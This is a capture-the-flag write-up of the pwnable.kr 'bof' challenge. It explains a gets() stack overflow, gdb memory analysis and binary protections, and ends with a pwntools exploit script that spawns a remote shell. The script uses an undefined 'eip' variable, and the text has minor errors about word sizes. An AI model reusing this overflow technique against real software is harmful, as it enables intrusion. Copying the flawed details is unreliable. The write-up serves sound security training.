bof From Pwnable.kr

Category : Toddler’s Bottle

The third challenge from the pwnable.kr is the bof. But the twist here is , it’s not vanilla bof that we see everywhere. The vanilla bof is simple: we overflow the buffer, overwrite the eip and then make it execute the payload. Here we need to overwrite a specific variable in order to gain command execution on the server. So let’s get started.

Setup GDB

I will be using the gdb debugger with peda extension to exploit this challenge. So you can install gdb from your linux repositories and download peda from here.

Let’s start by reading the challenge prompt and download the important files to our box.

wget "http://pwnable.kr/bin/bof"
wget "http://pwnable.kr/bin/bof.c"

Dry Run

We have a binary file and source code file. Let’s give executable permissions to the binary file and run it.

$ chmod +x bof
$ ./bof
overflow me : 
aaaaaaaaaaaaaaaaaaaaaaaaa
Nah..

So it’s a simple binary ask for input and then says Nah. Now lets review the source code and see what happens in the background.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

A function is called with hex value “0xdeadbeef” that is saved to the int key. Buffer overflow of 32 bytes is created and value is fetched from the user. Then if the key value contains the hex value of 0xcafebabe, we get our shell.

So it’s not like a typical bof where we overwrite the eip pointer to gain command execution. Here all we need to do is overwrite the key variable.

Analysis with GDB

Open the binary with gdb and see what protection is available on it. The protections won’t matter in this challenge but it’s good practice to check them.

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : Partial

NX: The NX (do not execute) bit is a technology used in CPUs that guarantees that certain memory areas (such as the stack and heap) are not executable, and others, such as the code section, cannot be written. It basically prevents us from using simpler techniques as we did in this post where we wrote a shellcode in the stack and then executed it.

ASLR: Basically randomizes the base of the libraries (libc) so that we can’t know the memory address of functions of the libc. The ASLR avoids the technique Ret2libc and forces us to have to leak addresses of the same in order to calculate base.

PIE: This technique, like the ASLR, randomizes the base address but in this case it is from the binary itself. This makes it difficult for us to use gadgets or functions of the binary.

Canario: Normally, a random value is generated at program initialization, and inserted at the end of the high risk area where the stack overflows, at the end of the function, it is checked whether the canary value has been modified.

RELRO: Relocation Read-Only (or RELRO) is a security measure which makes some binary sections read-only. There are two RELRO “modes”: partial and full.

You can read more about them here and here.

Note

Since we have canary enabled, overwriting eip will actually be detected and stopped.

Analyze the binary in gdb. We see that all the main does is pass 0xdeadbeef to esp and call the function func.

Examine the func function. Here the cmp at 0x00000654 if what checks if the key variable value is 0xcafebabe or not.

So let’s set breakpoint at main, run the binary and then set breakpoint at cmp in the func function.

# breakpoint at main and running the binary.
gdb-peda$ break main
Breakpoint 1 at 0x68d
gdb-peda$ r

Setting breakpoint at cmp in func.

Use the command ni (next instruction) to slowly reach the cmp statement while checking what’s happening.

Once you reach the cmp statement analyze the memory. We will be checking for value 0xdeadbeef as that is the current value of the key.

Command used is x/50xhw. x => examine hw => half word (i.e 4 bytes)

Command basically says show the 50 hw in hex currently in memory.

0x61 is “a”, thus the input we provided to fill the buffer. So after 13 half words we reach the value 0xdeadbeef. This means if we fill the buffer with 14*4 = 56 a’s we will overwrite the key variable with 0x616161.

Cool, we know how to overwrite it. So if we fill the buffer with 52 a’ and then the value 0xcafebabe. The key variable is overwritten with 0xcafebabe and we pass the check in the binary.

Creating Exploit

As previous challenege we will be writing the exploit in python and with the pwntools library.

#!/usr/bin/env python3

from pwn import *


padding = b"A"*52
key = p32(0xcafebabe)

payload = padding + eip 
print (payload)

conn = remote('pwnable.kr',9000)
#conn = process("./bof")
conn.sendline(payload)
conn.sendline("id")
conn.interactive()

padding of 52 A’s and with then overwritten key with 0xcafebabe. Run it and we get a shell.